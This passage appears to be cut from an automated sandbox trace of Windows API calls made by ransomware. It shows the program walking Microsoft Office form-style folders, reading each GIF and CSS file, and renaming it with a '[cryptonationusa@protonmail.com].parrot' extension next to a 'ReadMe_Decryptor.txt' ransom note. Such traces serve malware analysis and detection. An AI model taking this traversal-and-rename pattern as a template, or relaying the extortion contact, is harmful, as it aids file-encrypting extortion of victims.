dwFlags=0x2) returned 1 [0169.491] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.491] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.493] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.493] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1845, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1845, lpOverlapped=0x0) returned 1 [0169.503] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.510] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.510] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.511] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5141, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5141, lpOverlapped=0x0) returned 1 [0169.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.520] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.520] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.521] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x193c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x193c, lpOverlapped=0x0) returned 1 [0169.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.528] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0169.533] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.534] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c64, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3c64, lpOverlapped=0x0) returned 1 [0169.535] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.540] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0169.542] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.542] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.543] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.543] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.543] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0169.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.543] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.545] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x75c, lpOverlapped=0x0) returned 1 [0169.545] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.550] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.550] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0169.551] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.551] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.552] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.552] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0169.552] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.559] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.559] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.560] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.560] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0169.561] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.566] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf117d580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf117d580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.566] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf117d580, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xf117d580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf117d580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0169.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.566] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0169.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.568] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb96, lpOverlapped=0x0) returned 1 [0169.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.575] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.575] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0169.575] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.576] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.576] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xb9, lpOverlapped=0x0) returned 1 [0169.577] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.582] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.583] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.583] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.584] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xff, lpOverlapped=0x0) returned 1 [0169.584] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.590] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.590] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.591] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0169.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.680] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.680] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0169.681] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.681] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0169.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.687] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0169.687] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf12ae080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf12ae080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.687] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf11a36e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUTTON~1.PAR")) returned 1 [0169.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.687] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, 